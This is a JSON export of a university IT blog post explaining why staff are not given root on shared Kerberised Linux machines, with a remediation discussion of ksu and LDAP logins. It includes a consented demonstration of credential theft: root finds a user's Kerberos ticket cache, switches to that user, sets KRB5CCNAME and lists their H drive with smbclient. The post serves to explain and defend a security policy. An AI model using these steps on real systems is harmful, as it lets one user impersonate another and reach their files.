{"id":175,"date":"2019-08-12T00:59:58","date_gmt":"2019-08-11T23:59:58","guid":{"rendered":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/?p=175"},"modified":"2021-04-29T21:55:56","modified_gmt":"2021-04-29T20:55:56","slug":"why-we-cant-normally-give-you-root-on-shared-linux-machines","status":"publish","type":"post","link":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/2019\/08\/12\/why-we-cant-normally-give-you-root-on-shared-linux-machines\/","title":{"rendered":"Why we can’t normally give you root on shared Linux machines"},"content":{"rendered":"

Intended audience:<\/strong> Users of GNU\/Linux at Newcastle University’s School of Computing.<\/p>\n

We cannot give sudo privileges on any Kerberised machine that more than one (non-NUIT) user has access to, and we should (and do) restrict even who in NUIT has access.<\/p>\n

Standard desktop Linux machines have printer access and H drive access granted via Kerberos tickets, so these machines cannot have more than one user. Special purpose Linux machines can be set up to use LDAP-only logins, but these don’t have printer access and you should not attempt to hardcode your campus credentials, create Kerberos tickets, nor mount your H drive on them.<\/p>\n

Why this is<\/h2>\n

Once a user with sudo becomes root, they can say su -l victim<\/code> and they’ve got everything that victim<\/em> has access to, including Kerberos caches, no matter what cache type. Quoting SSSD developer Jhrozek<\/a>:<\/p>\n

I would say it [Kerberos cache destruction on logout] was more important back when ccaches were stored on disk. pam_krb5 used to offer this option. But since we are using keyring now, then the ccaches are only accessible by root or by the UID of the user.<\/strong><\/p><\/blockquote>\n

Kernel keychain caches can be read by root as stated above, and file caches on the filesystem can be read by root because root can always read the whole file system.<\/p>\n

Once the user has a victim’s Kerberos cache, they can gain write access to all the victim’s Kerberos-secured network resources, including H: drive, S: drive, and RDW shares, and the access will be logged on the file server as being by<\/em> the victim.<\/p>\n

Exploit with commentary<\/h2>\n

At my invitation, my colleague C– SSHes into my PC. He has login privs and also sudo privs.<\/p>\n

login as: nc--\nWelcome to Ubuntu 18.04.1 LTS (GNU\/Linux 4.15.0-39-generic x86_64)<\/code><\/code><\/code> [remainder of login banner removed for brevity] 17dcompd454%\n<\/code><\/pre>\n
C– becomes root:<\/p>\n
17dcompd454% \/usr\/bin\/sudo -i\n[sudo] password for nc--:\n<\/code><\/pre>\n
And identifies my kerberos credential cache by looking for one owned by my username:<\/p>\n
root@17dcompd454:~# ls -l \/tmp\/krb5cc_* | grep nh--\n-rw------- 1 nh--  10000 6991 Nov 23 11:22 \/tmp\/krb5cc_364137_p1sQx2\n<\/code><\/pre>\n
C– uses his root access to gain a login session as me, even getting my custom ZSH prompt:<\/p>\n
root@17dcompd454:~# su -l nh--\n~ \u00bb klist\nklist: No credentials cache found (filename: \/tmp\/krb5cc_364137)\n<\/code><\/pre>\n
Usually the location of the credential cache is added to the user environment during Kerberised login, but C– has bypassed that and the environment variable is unset. This is easy to fix:<\/p>\n
~ \u00bb export KRB5CCNAME=\/tmp\/krb5cc_364137_p1sQx2\n<\/code><\/pre>\n
C– now has all my cached tickets, including the “ticket-granting ticket”:<\/p>\n
~ \u00bb klist\nTicket cache: FILE:\/tmp\/krb5cc_364137_p1sQx2\nDefault principal: nh--@DOMAIN.EXAMPLE.COM<\/code> Valid starting     Expires            Service principal\n23\/11\/18 11:15:10  23\/11\/18 21:15:10  krbtgt\/DOMAIN.EXAMPLE.COM@DOMAIN.EXAMPLE.COM\n        renew until 23\/11\/18 21:15:10\n23\/11\/18 11:22:49  23\/11\/18 21:15:10  cifs\/dfs1.domain.example.com@DOMAIN.EXAMPLE.COM\n23\/11\/18 11:22:49  23\/11\/18 21:15:10  cifs\/fsuser01@DOMAIN.EXAMPLE.COM\n<\/code><\/pre>\n
Finally, C– can list my H drive, no password needed:<\/p>\n
~ \u00bb smbclient -k -m SMB3 -W domain -U nh-- -C -n 17dcompd454 \/\/dfs1.domain.example.com\/home\/home01 -c \"ls nh--\/*\"<\/code><\/code><\/code> WARNING: The \"syslog\" option is deprecated . DR 0 Fri Nov 2 10:13:17 2018 .. DR 0 Fri Nov 2 10:13:17 2018 $RECYCLE.BIN DHS 0 Wed Apr 25 06:36:42 2018 .bash_history A 47 Thu Mar 24 17:04:53 2016 .xsession-errors A 6415 Tue May 10 18:30:11 2016 .xsession-errors.old A 5868 Thu Mar 24 16:49:40 2016 authorized_keys A 736 Thu Apr 7 09:11:38 2016 backup.tbz A 10152964 Fri Jul 28 18:17:48 2017 bin D 0 Wed Apr 25 06:36:40 2018 BitLocker Recovery Key 5...TXT AR 1346 Wed Mar 30 10:21:12 2016 bookmark.htm A 18531 Thu Aug 25 16:11:23 2016 ... Removed for brevity workspace D 0 Fri Oct 19 09:51:17 2018                 1610579455 blocks of size 4096. 179496567 blocks available\n~ \u00bb                                                           \n<\/code><\/pre>\n
Possible remediations<\/h2>\n
ksu<\/h3>\n
C– suggested ksu:<\/p>\n
Ever (well normally) hopeful, I wonder if we can emulate the windows “install as local admin from H:” problem and make it a feature? By this, I mean putting krb5_ccachedir on a piece of storage that is not accessible to root. The user with sudo uses their own tickets to acquire access but cannot go any further. This might be what ksu is attempting but the manual (at MIT) is not the clearest.<\/p><\/blockquote>\n
Clearer docs https:\/\/web.mit.edu\/kerberos\/krb5-1.5\/krb5-1.5.4\/doc\/krb5-user\/ksu.html<\/a><\/p>\n
tl;dr the manual: it doesn’t help our case. Ksu could be used as an alternative to sudo as a means of giving alice<\/em> root access, by requiring that the root<\/em> account grant access via a .k5login<\/em> file. It doesn’t overcome our problem, which is that root has total control over and access to all parts of a Unix machine by design.<\/strong><\/p>\n
LDAP-based logins<\/h3>\n
This stops the problem of Kerberos credentials being created automatically at login without the user’s deliberate action, but doesn’t stop victim<\/em> from running kinit<\/code> e.g. to get access to a network printer or RDW space and then having that credential cache stolen. Even if victim<\/em> doesn’t run kinit<\/code>, a sudoer can see victim’s<\/em> home folder, can see any shares they mount, and if victim<\/em> used a credentials file, any sudoer can steal their login name and password from that credentials file. LDAP might<\/strong> be suitable for a lab server, but it’s not suitable for someone’s desktop PC where they will need to mount their H drive, keep their PDR, and have either hard-coded SMB creds (urgh) or a Kerberos ticket in order to print.<\/p>\n","protected":false},"excerpt":{"rendered":"
Intended audience: Users of GNU\/Linux at Newcastle University’s School of Computing. We cannot give sudo privileges on any Kerberised machine that more than one (non-NUIT) user has access to, and we should (and do) restrict even who in NUIT has access. Standard desktop Linux machines have printer access and H drive access granted via Kerberos … Continue reading “Why we can’t normally give you root on shared Linux machines”<\/span><\/a><\/p>\n","protected":false},"author":1447,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,15,9,16],"tags":[],"class_list":["post-175","post","type-post","status-publish","format-standard","hentry","category-gnulinux","category-kerberos","category-ldap","category-security"],"_links":{"self":[{"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/posts\/175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/users\/1447"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/comments?post=175"}],"version-history":[{"count":13,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/posts\/175\/revisions"}],"predecessor-version":[{"id":223,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/posts\/175\/revisions\/223"}],"wp:attachment":[{"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/media?parent=175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/categories?post=175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.ncl.ac.uk\/helengriffiths\/wp-json\/wp\/v2\/tags?post=175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}